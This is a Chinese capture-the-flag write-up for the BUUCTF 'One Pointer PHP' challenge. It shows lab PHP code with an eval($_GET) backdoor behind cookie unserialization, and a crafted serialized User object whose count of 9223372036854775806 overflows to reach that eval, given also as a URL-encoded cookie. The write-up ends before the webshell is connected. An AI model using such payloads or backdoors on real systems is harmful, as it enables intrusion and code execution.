100 ,【8】 buuctf web [蓝帽杯 2021]One Pointer PHP(别看)

进入靶场

没提示,去看源代码。

user.php

php 复制代码
<?php
// 定义一个名为 User 的类,该类可用于表示用户相关信息或执行与用户有关的操作
class User{
    // 声明一个公共属性 $count,可在类的内部和外部直接访问
    // 这个属性可能用于记录与用户相关的某种数量,比如用户的操作次数、用户拥有的物品数量等
    public $count;
}
?>

add_api.php

php 复制代码
<?php
// 包含 "user.php" 文件,该文件中可能定义了 User 类或其他相关代码
// 包含文件后,当前脚本就可以使用该文件中定义的类、函数、变量等
include "user.php";

// 从 $_COOKIE 超全局数组中获取名为 "data" 的 cookie 值,并尝试对其进行反序列化操作
// 反序列化操作会将存储在 cookie 中的序列化对象恢复为 PHP 对象
// 如果反序列化成功,将结果赋值给 $user 变量,并进入 if 语句块
if($user = unserialize($_COOKIE["data"])){
    // 对 $user 对象的 count 属性进行自增操作,然后将 $count 数组的对应索引位置赋值为 1
    // 例如,如果 $user->count 初始值为 1,自增后为 2,那么 $count[2] = 1
    $count[++$user->count] = 1;

    // 这里存在语法错误,正确的应该是 if ($count[] = 1) 这种写法不符合正常逻辑
    // 可能本意是检查某个条件,但这样的赋值操作结果总是为 1(在 PHP 中赋值表达式的值为所赋的值),条件恒为真
    // 暂且按代码逻辑理解,若这个条件成立
    if($count[] = 1){
        // 将 $user 对象的 count 属性再加 1
        $user->count += 1;
        // 将更新后的 $user 对象进行序列化操作,将其转换为字符串形式
        // 然后使用 setcookie 函数将序列化后的字符串存储到名为 "data" 的 cookie 中
        setcookie("data", serialize($user));
    } else {
        // 如果上述条件不成立(实际上由于赋值操作,这里永远不会执行)
        // 使用 eval 函数执行从 GET 请求中获取的名为 "backdoor" 的参数值
        // 这是非常危险的操作,因为用户可以通过 GET 请求传入恶意代码,从而导致任意代码执行漏洞
        eval($_GET["backdoor"]);
    }
} else {
    // 如果反序列化失败,说明 cookie 中存储的数据不是有效的序列化对象或者 cookie 不存在
    // 创建一个新的 User 类的实例
    $user = new User;
    // 将新创建的 $user 对象的 count 属性初始化为 1
    $user->count = 1;
    // 将新创建的 $user 对象进行序列化操作,然后存储到名为 "data" 的 cookie 中
    setcookie("data", serialize($user));
}
?>

如下代码

给与了我们进行任意代码执行漏洞的条件

即设置count为9223372036854775806

php 复制代码
<?php
    class User
    {
        public $count=9223372036854775806;
    }
    echo serialize(new User);
?>
复制代码
O:4:"User":1:{s:5:"count";i:9223372036854775806;} 

忘记进行url编码了

php 复制代码
<?php

class User{
	public $count=9223372036854775806;
}
echo urlencode(serialize(new User()));
?>

cookie 添加为以下内容

data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

大概这样改cookie

到这块就需要蚁剑连接了,我的蚁剑有问题,最近还没好

先帝创业未半而开局崩殂

相关推荐
R-G-B3 分钟前
【33】C# WinForm入门到精通 ——表格布局器TableLayoutPanel【属性、方法、事件、实例、源码】
开发语言·c#·c# winform·表格布局器·tablelayoutpane
郝学胜-神的一滴22 分钟前
Spring Boot Actuator 保姆级教程
java·开发语言·spring boot·后端·程序人生
赵英英俊29 分钟前
Python day31
开发语言·python
conkl1 小时前
嵌入式 Linux 深度解析:架构、原理与工程实践(增强版)
linux·运维·服务器·架构·php·底层·堆栈
程序员-Queen1 小时前
RDQS_c和RDQS_t的作用及区别
c语言·开发语言
慕y2741 小时前
Java学习第九十三部分——RestTemplate
java·开发语言·学习
上单带刀不带妹2 小时前
JavaScript 中的宏任务与微任务
开发语言·前端·javascript·ecmascript·宏任务·微任务
网安Ruler2 小时前
Web开发-PHP应用&TP框架&MVC模型&路由访问&模版渲染&安全写法&版本漏洞
前端·php·mvc
旋风菠萝2 小时前
设计模式---单例
android·java·开发语言
啊呦.超能力2 小时前
QT开发---图形与图像(补充)
开发语言·qt